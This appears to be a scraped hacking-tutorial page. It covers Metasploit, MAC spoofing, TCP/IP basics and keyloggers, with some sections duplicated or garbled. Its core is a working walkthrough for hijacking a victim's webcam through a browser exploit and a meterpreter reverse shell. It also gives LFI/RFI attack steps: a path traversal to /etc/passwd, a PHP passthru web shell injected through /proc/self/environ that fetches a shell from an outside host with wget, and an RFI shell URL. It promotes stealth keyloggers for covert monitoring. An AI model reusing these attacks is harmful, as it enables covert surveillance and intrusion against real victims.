Hack Webcam

---

Our real purpose is to show just how easy it is, so you will take better awareness that it can be done, and  take security yourself.

Open Metasploit and run following commands:

msf>  show exploits


msf>use windows/browser/adobe_cooltype_sing


msf exploit(adobe_cooltype_sing)> set payload windows/meterpreter/reverse_tcp
payload=> windows/meterpreter/reverse_tcp


msf  exploit(adobe_cooltype_sing) > show options


Module options (exploit/windows/browser/adobe_cooltype_sing):


   Name                Current Setting       Required           Description
   ----                     ---------------               --------               -----------
   SRVHOST            0.0.0.0                   yes              The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT             8080                      yes              The local port to listen on.
   SSL                         false                         no                Negotiate SSL for incoming connections
   SSLCert                                                   no               Path to a custom SSL certificate (default is randomly generated)
   SSLVersion         SSL3                        no               Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                                              no               The URI to use for this exploit (default is random)



Payload options (windows/meterpreter/reverse_tcp):


   Name                  Current            Setting         Required  Description
   ----                    ---------------       --------              -----------
   EXITFUNC        process             yes               Exit technique: seh, thread, process, none
   LHOST                                             yes                The listen address
   LPORT                 4444                 yes               The listen port



Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf  exploit(adobe_cooltype_sing) > set SRVHOST 192.168.0.58
SRVHOST => 192.168.0.58
msf  exploit(adobe_cooltype_sing) > set SRVPORT 80
SRVPORT => 80
msf  exploit(adobe_cooltype_sing) > set uripath /
uripath => /
msf  exploit(adobe_cooltype_sing) > set uripath /
uripath => /
msf  exploit(adobe_cooltype_sing) >exploit -j


Let the victim open your IP in his/her browser and when it will be opened, you will get 1 meterpreter session.


msf  exploit(adobe_cooltype_sing) > session -i 1


meterpreter> run webcam


and you will get the webcam of victim. :)

Tutorial by Kislay Bhardwaj. He is a Security Researcher Follow: Facebook , Twitter

Metasploit Tutorial

     Video Tutorials


Metasploit Megaprimer (Exploitation Basics And Need For Metasploit) Part 1

 
Metasploit Megaprimer (Getting Started With Metasploit) Part 2

 
Metasploit Megaprimer Part 3 (Meterpreter Basics And Using Stdapi)

Metasploit Megaprimer Part 4 (Meterpreter Extensions Stdapi And Priv)

Metasploit Megaprimer Part 5 (Understanding Windows Tokens And Meterpreter Incognito)

Metasploit Megaprimer Part 6 (Espia And Sniffer Extensions With Meterpreter Scripts)

Metasploit Megaprimer Part 7 (Metasploit Database Integration And Automating Exploitation)

Metasploit Megaprimer Part 8 (Post Exploitation Kung Fu)

 
Metasploit Megaprimer Part 9 (Post Exploitation Privilege Escalation)

Metasploit Megaprimer Part 10 (Post Exploitation Log Deletion And Av Killing)

Metasploit Megaprimer (Post Exploitation And Stealing Data) Part 11

Metasploit Megaprimer Part 12 (Post Exploitation Backdoors And Rootkits)

Metasploit Megaprimer Part 13 (Post Exploitation Pivoting And Port Forwarding)

Metasploit Megaprimer Part 14 (Backdooring Executables)

 
Metasploit Megaprimer Part 15 (Auxiliary Modules)

 
Metasploit Megaprimer Part 16 (Pass The Hash Attack)

Source: Security Tube

Malware Analysis

ODA Online DisAssembler

ODA stands for Online DisAssembler. ODA is a general purpose machine code disassembler that supports a myriad of machine architectures.
Built on the shoulders of libbfd and libopcodes (part of binutils), ODA allows you to explore an executable by dissecting its sections,
strings, symbols, raw hex, and machine level instructions.

ODA is an online Web Based Disassembler for when you don’t have time or space for a thick client.
ODA is a BETA release that is limited by the resource constraints of the server on which it is hosted and the spare time of its creators

          Features:

•     Malware analysis
•     Vulnerability research
•     Visualizing the control flow of a group of instructions
•     Disassembling a few bytes of an exception handler that is going off into the weeds
•     Reversing the first few bytes of a Master Boot Record (MBR) that may be corrupt
•     Debugging an embedded systems device driver

                  

             Online DisAssembler

MAC Address (Media Access Control)

---

MAC (Media Access Control) addresses are permanent by design, several mechanisms allow modification, or "spoofing", of the MAC address that is reported by the operating system. This can be useful for privacy reasons, for instance when connecting to a Wi-Fi hotspot, or to ensure interoperability. Some internet service providers bind their service to a specific MAC address; if the user then changes their network card or intends to install a router, the service won't work anymore. Changing the MAC address of the new interface will solve the problem. Similarly, some software licenses are bound to a specific MAC address. Changing the MAC address in this way is not permanent: after a reboot, it will revert to the MAC address physically stored in the card. A MAC address is 48 bits in length.

A MAC address is a physical hardware address assigned to each device that has the capability of connecting to a network. The internet is nothing more than a large network. The MAC address is something that is assigned in the chip on the device and is not something the user can change.

As a MAC address can be changed, it can be unwise to rely on this as a single method of authentication. IEEE 802.1x is an emerging standard better suited to authenticating devices at a low level.

Types of MAC address: 
Unicast address : An address for a specific computer.
Multicast address : An address for a specific group of computers in
network.
Broadcast address : An address for all computers in network.

---

HOw Can U Change MAC Address:

Windows

Under Windows XP, the MAC address can be changed in the Ethernet adapter's Properties menu, in the Advanced tab, as "MAC Address", "Locally Administered Address", "Ethernet Address" or "Network Address". The exact name depends on the Ethernet driver used; not all drivers support changing the MAC address in this way.

However, a better solution - requiring Administrative User Rights - is to pass over the System Registry Keys under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}. Here settings for each network interface can be found. The contents of the string value called 'NetworkAddress' will be used to set the MAC address of the adapter when next it is enabled. Resetting the adapter can be accomplished in script with the freely available command line utility devcon from Microsoft, or from the adapters context menu in the Network Connections control panel applet.

There is a nice tool to change the MAC address for all cards (even those that can't be changed through the adapter's Properties menu): SMAC MAC Address Changer

Note: to check your MAC address easily on a Windows XP box, go to Run, type CMD, then type "ipconfig /all" without quotation in the command prompt. The number under physical address is the MAC address. If multiple IP are displayed, you should look under the label "Ethernet adapter x", where x is the name of your connection (which is Local Area Connection by default).

Windows

Under Windows XP, the MAC address can be changed in the Ethernet adapter's Properties menu, in the Advanced tab, as "MAC Address", "Locally Administered Address", "Ethernet Address" or "Network Address". The exact name depends on the Ethernet driver used; not all drivers support changing the MAC address in this way.

However, a better solution - requiring Administrative User Rights - is to pass over the System Registry Keys under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}. Here settings for each network interface can be found. The contents of the string value called 'NetworkAddress' will be used to set the MAC address of the adapter when next it is enabled. Resetting the adapter can be accomplished in script with the freely available command line utility devcon from Microsoft, or from the adapters context menu in the Network Connections control panel applet.

There is a nice tool to change the MAC address for all cards (even those that can't be changed through the adapter's Properties menu): SMAC MAC Address Changer

Note: to check your MAC address easily on a Windows XP box, go to Run, type CMD, then type "ipconfig /all" without quotation in the command prompt. The number under physical address is the MAC address. If multiple IP are displayed, you should look under the label "Ethernet adapter x", where x is the name of your connection (which is Local Area Connection by default).

Router

The method to change the MAC address of a router varies with the router. Not all routers have the ability to change their MAC address. The feature is often referred to as "clone MAC address". This take the MAC address of one of the machine on your network and replaces the router's existing MAC address with it. Some support the option to manually enter the MAC address.

How to change a MAC address in Linux

To change your MAC address in Linux (and most *nix system) is easy. All it takes is two easy to script commands:

    ifconfig eth0 down hw ether 00:00:00:00:00:01

    ifconfig eth0 up

These two little commands would set your eth0 interface to use the MAC 00:00:00:00:00:01. Just plug in the NIC you want to set and the MAC address you want to use into the commands above and your done. Changing your MAC address is one of those things that is much easier to do in Linux then under Windows.

LFI & RFI

LFI And RFI Are The Website Hacking Vulnerabilities

LFI- local file inclusion

Its  include the file of the server in our browser..
To see if a script is vulnerable to local file inclusion,

index.php?page=../../../../../../../../../etc/passwd

That Shows the complete User information in that server with paths..
Where ../ causes the script to move up one directoryWhere directory,
Multiple ../ cause the script to move to the top level directory (/, the root of the
filesystem) and /etc/passwd is the Unix passwd file.

google dork: inurl:.php?page=

example:www.xxx.com/contacts.php?page=abc.php

test:www.xxx.com/contacts.php?page=../xyz.php

now in linux server server there is etc/password 

1... www.xyz.com/index
../
=../../../etc/passwd
=../../../etc/passwd

etc/passwdfile (google)
proc/self/environ is the writable file by end
or var/log/httpd-access.log is also writable

proc/self/environ
add one- user agent switcher 

config.php
<?php passthru($_GET['cmd']) ?>
../proc/self//environ&cmd=wget http://
t35.com/abc.txt O shell.php

config.php
ip
username
pwd

Done..
----------------------------------------------------------------------------------------------

RFI - Remote file inclusion

Remote File Inclusion (RFI) is a type of vulnerability most often found on websites.
It allows an attacker to include a remote file, usually through a script on the web
server. The vulnerability occurs due to the use of user-supplied input without
proper validation. This can lead to something as minimal as outputting the contents
 of the  file, but depending on the severity, to list a few it can lead to:

    ->  Code execution on the web server
   ->  Code execution on the client-side such as JavaScript which can lead to other
     attacks such as cross site scripting (XSS).
   -> Denial of Service (DoS)
   -> Data Theft/Manipulation

By default allow_url_include is ON -----> in php.ini

www.xxx.com/contacts.php?page=http://www.abc.com/shell.php

---

>> TOOL Descriptions:

FIMAP

FIMAP is a Local and Remote file inclusion auditing Tool (LFI/RFI).
Fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps. fimap should be something like sqlmap just for LFI/RFI bugs instead of sql injection.  
Download 


Local File Inclusion Vulnerability Scanner

Description:
The Simple Local File Inclusion Vulnerability Scanner helps you to find LFI vulnerabilities.
This tool is only able to handle “simple” LFI vulnerabilities, but not complex ones.

Usage:
./lfi_scanner.py –url=

Usage example:
./lfi_scanner.py –url=”http://www.example.com/page.php?file=mai

Download Script

Video Tutorials


LFI and RFI Tutorial

LFI Tutorial:

Learn TCP/IP

-: IP Spoofing :-

The term IP (Internet Protocol) address spoofing refers to the creation of IP packets with a forged (spoofed) source IP address with the purpose of concealing the identity of the sender or impersonating another computing system.

For Check Your IP Address..

http://whatismyip.com/

for see another IP address

http://whatismyip.com/tools/ip-address-lookup.asp

Why it works ?
IP-Spoofing works because trusted services only rely on network address based authentication. Since IP is easily duped, address forgery is not difficult.
The main reason is security weakness in the TCP protocol known as sequence number prediction.

How it works ?
To completely understand how ip spoofing can take place, one must examine the structure of the TCP/IP protocol suite. A basic understanding of these headers and network exchanges is crucial to the process.

Internet Protocol (IP) :
It is a network protocol operating at layer 3 (network) of the OSI model. It is a connectionless model, meaning there is no information regarding transaction state, which is used to route packets on a network. Additionally, there is no method in place to ensure that a packet is properly delivered to the destination.

Your Browser and Server use TCP/IP

Browsers and servers use TCP/IP to connect to the Internet.

A browser uses TCP/IP to access a server. A server uses TCP/IP to send HTML back to a browser.

Your E-Mail uses TCP/IP

Your e-mail program uses TCP/IP to connect to the Internet for sending and receiving e-mails.

Your Internet Address is TCP/IP

Your Internet address "192.168.10.14" is a part of the standard TCP/IP protocol (and so is your domain name).

---

What is TCP/IP?

TCP/IP is the communication protocol for communication between computers on the Internet.

TCP/IP stands for Transmission Control Protocol / Internet Protocol.

TCP/IP defines how electronic devices (like computers) should be connected to the Internet, and how data should be transmitted between them.

---

Inside TCP/IP

Inside the TCP/IP standard there are several protocols for handling data communication:

• TCP (Transmission Control Protocol) communication between applications
• UDP (User Datagram Protocol) simple communication between applications
• IP (Internet Protocol) communication between computers
• ICMP (Internet Control Message Protocol) for errors and statistics
• DHCP (Dynamic Host Configuration Protocol) for dynamic addressing

---

TCP Uses a Fixed Connection

TCP is for communication between applications.

If one application wants to communicate with another via TCP, it sends a communication request. This request must be sent to an exact address. After a "handshake" between the two applications, TCP will set up a "full-duplex" communication between the two applications.

The "full-duplex" communication will occupy the communication line between the two computers until it is closed by one of the two applications.

UDP is very similar to TCP, but simpler and less reliable.

---

IP is Connection-Less

IP is for communication between computers.

IP is a "connection-less" communication protocol.

IP does not occupy the communication line between two computers. IP reduces the need for network lines. Each line can be used for communication between many different computers at the same time.

With IP, messages (or other data) are broken up into small independent "packets" and sent between computers via the Internet.

IP is responsible for "routing" each packet to the correct destination.

---

IP Routers

When an IP packet is sent from a computer, it arrives at an IP router.

The IP router is responsible for "routing" the packet to the correct destination, directly or via another router.

The path the packet will follow might be different from other packets of the same communication. The router is responsible for the right addressing, depending on traffic volume, errors in the network, or other parameters.

---

Connection-Less Analogy

Communicating via IP is like sending a long letter as a large number of small postcards, each finding its own (often different) way to the receiver.

---

TCP/IP

TCP/IP is TCP and IP working together.

TCP takes care of the communication between your application software (i.e. your browser) and your network software.

IP takes care of the communication with other computers.

TCP is responsible for breaking data down into IP packets before they are sent, and for assembling the packets when they arrive.

IP is responsible for sending the packets to the correct destination.

IP Addresses

Each computer must have an IP address before it can connect to the Internet.

Each IP packet must have an address before it can be sent to another computer.

IP addess is the identity of computer or website.

Domain Names

A name is much easier to remember than a 12 digit number.

Names used for TCP/IP addresses are called domain names.

google.com is a domain name.

When you address a web site, like http://www.google.com, the name is translated to a number by a Domain Name Server (DNS).

All over the world, DNS servers are connected to the Internet. DNS servers are responsible for translating domain names into TCP/IP addresses.

When a new domain name is registered together with a TCP/IP address, DNS servers all over the world are updated with this information.

TCP - Transmission Control Protocol

TCP is used for transmission of data from an application to the network.

TCP is responsible for breaking data down into IP packets before they are sent, and for assembling the packets when they arrive.

---

IP - Internet Protocol

IP takes care of the communication with other computers.

IP is responsible for the sending and receiving data packets over the Internet.

---

HTTP - Hyper Text Transfer Protocol

HTTP takes care of the communication between a web server and a web browser.

HTTP is used for sending requests from a web client (a browser) to a web server, returning web content (web pages) from the server back to the client.

---

HTTPS - Secure HTTP

HTTPS takes care of secure communication between a web server and a web browser.

HTTPS typically handles credit card transactions and other sensitive data.

---

SSL - Secure Sockets Layer

The SSL protocol is used for encryption of data for secure data transmission.

---

SMTP - Simple Mail Transfer Protocol

SMTP is used for transmission of e-mails.

---

MIME - Multi-purpose Internet Mail Extensions

The MIME protocol lets SMTP transmit multimedia files including voice, audio, and binary data across TCP/IP networks.

---

IMAP - Internet Message Access Protocol

IMAP is used for storing and retrieving e-mails.

---

POP - Post Office Protocol

POP is used for downloading e-mails from an e-mail server to a personal computer.

---

FTP - File Transfer Protocol

FTP takes care of transmission of files between computers.

---

NTP - Network Time Protocol

NTP is used to synchronize the time (the clock) between computers.

---

DHCP - Dynamic Host Configuration Protocol

DHCP is used for allocation of dynamic IP addresses to computers in a network.

---

SNMP - Simple Network Management Protocol

SNMP is used for administration of computer networks.

---

LDAP - Lightweight Directory Access Protocol

LDAP is used for collecting information about users and e-mail addresses from the internet.

---

ICMP - Internet Control Message Protocol

ICMP takes care of error-handling in the network.

---

ARP - Address Resolution Protocol

ARP is used by IP to find the hardware address of a computer network card based on the IP address.

---

RARP - Reverse Address Resolution Protocol

RARP is used by IP to find the IP address based on the hardware address of a computer network card.

---

BOOTP - Boot Protocol

BOOTP is used for booting (starting) computers from the network.

---

PPTP - Point to Point Tunneling Protocol

PPTP is used for setting up a connection (tunnel) between private networks.

When you write an email, you don't use TCP/IP.

When you write an email, you use an email program like Lotus Notes, Microsoft Outlook or Netscape Communicator.

---

Your Email Program Does

Your email program uses different TCP/IP protocols:

• It sends your emails using SMTP
• It can download your emails from an email server using POP
• It can connect to an email server using IMAP

---

SMTP - Simple Mail Transfer Protocol

The SMTP protocol is used for the transmission of e-mails. SMTP takes care of sending your email to another computer.

Normally your email is sent to an email server (SMTP server), and then to another server or servers, and finally to its destination.

SMTP can only transmit pure text. It cannot transmit binary data like pictures, sounds or movies.

SMTP uses the MIME protocol to send binary data across TCP/IP networks. The MIME protocol converts binary data to pure text.

---

POP - Post Office Protocol

The POP protocol is used by email programs (like Microsoft Outlook) to retrieve emails from an email server.

If your email program uses POP, all your emails are downloaded to your email program (also called email client), each time it connects to your email server.

---

IMAP - Internet Message Access Protocol

The IMAP protocol is used by email programs (like Microsoft Outlook) just like the POP protocol.

The main difference between the IMAP protocol and the POP protocol is that the IMAP protocol will not automatically download all your emails each time your email program connects to your email server.

The IMAP protocol allows you to look through your email messages at the email server before you download them. With IMAP you can choose to download your messages or just delete them. This way IMAP is perfect if you need to connect to your email server from different locations, but only want to download your messages when you are back in your office.

Keylogger Tutorial

Keylogger is a software program or hardware device that is used to monitor and log each of the keys a user types into a computer keyboard. The user who installed the program or hardware device can then view all keys typed in by that user. Because these programs and hardware devices monitor the keys typed in a user can easily find user passwords and other information a user may not wish others to know about.
Keyloggers, as a surveillance tool, are often used by employers to ensure employees use work computers for business purposes only. Unfortunately, keyloggers can also be embedded in spyware allowing your information to be transmitted to an unknown third party.


 About keyloggers

key loggersA keylogger is a program that runs in the background, recording all the keystrokes. Once keystrokes are logged, they are hidden in the machine for later retrieval, or shipped raw to the attacker. The attacker then peruses them carefully in the hopes of either finding passwords, or possibly other useful information that could be used to compromise the system or be used in a social engineering attack. For example, a keylogger will reveal the contents of all e-mail composed by the user. Keylogger is commonly included in rootkits.

A keylogger normally consists of two files: a DLL which does all the work and an EXE which loads the DLL and sets the hook. Therefore when you deploy the hooker on a system, two such files must be present in the same directory.

There are other approaches to capturing info about what you are doing.

    * Some keyloggers capture screens, rather than keystrokes.
    * Other keyloggers will secretly turn on video or audio recorders, and transmit what they capture over your internet connection. 

A keyloggers might be as simple as an exe and a dll that are placed on a machine and invoked at boot via an entry in the registry. Or a keyloggers could be which boasts these features:

    * Stealth: invisible in process list
    * Includes kernel keylogger driver that captures keystrokes even when user is logged off (Windows 2000 / XP)
    * ProBot program files and registry entries are hidden (Windows 2000 / XP)
    * Includes Remote Deployment wizard
    * Active window titles and process names logging
    * Keystroke / password logging
    * Regional keyboard support
    * Keylogging in NT console windows
    * Launched applications list
    * Text snapshots of active applications.
    * Visited Internet URL logger
    * Capture HTTP POST data (including logins/passwords)
    * File and Folder creation/removal logging
    * Mouse activities
    * Workstation user and timestamp recording
    * Log file archiving, separate log files for each user
    * Log file secure encryption
    * Password authentication
    * Invisible operation
    * Native GUI session log presentation
    * Easy log file reports with Instant Viewer 2 Web interface
    * HTML and Text log file export
    * Automatic E-mail log file delivery
    * Easy setup & uninstall wizards
    * Support for Windows (R) 95/98/ME and Windows (R) NT/2000/XP 

Tools: 

Ardamax Keylogger is a keystroke recorder that captures user's activity and saves it to an encrypted log file. The log file can be viewed with the powerful Log Viewer. Use this tool to find out what is happening on your computer while you are away, maintain a backup of your typed data automatically or use it to monitor your kids. Also you can use it as a monitoring device for detecting unauthorised access. Logs can be automatically sent to your e-mail address, access to the keylogger is password protected. Besides, Ardamax Keylogger logs information about the Internet addresses the user has visited.

This invisible spy application is designed for 2000, XP, 2003, Vista and Windows 7.

• Security - allows you to protect program settings, Hidden Mode and Log file.
• Application monitoring - keylogger will record the application that was in use that received the keystroke!
• Time/Date tracking - it allows you to pinpoint the exact time a window received a keystroke!
• Powerful Log Viewer - you can view and save the log as a HTML page or plain text with keylogger Log Viewer.
• Small size – Ardamax Keylogger is several times smaller than other programs with the same features. It has no additional modules and libraries, so its size is smaller and the performance is higher.
• Ardamax Keylogger fully supports Unicode characters which makes it possible to record keystrokes that include characters from Japanese, Chinese, Arabic and many other character sets.
• It records every keystroke. Captures passwords and all other invisible text.

Other Features:

• Windows 2000/2003/XP/Vista/Windows 7 support
• Monitors multi-user machines
• Automatic startup
• Friendly interface
• Easy to install

  
Download Ardamax Keylogger (1.94Mb)

---

Perfect Keylogger for Windows 98/2000/XP/Vista and Windows 7 

The latest, improved and most stealth version of Perfect Keylogger is now available only after purchase. To protect the product from abuse and improve its quality for the registered users, we no longer offer the trial version of the latest builds. The localized versions of Perfect Keyloger and 64-bit version are also available after purchase. The last public version is still available, but keep in mind that it's not the latest and may be flagged by security software.

Download Perfect keylogger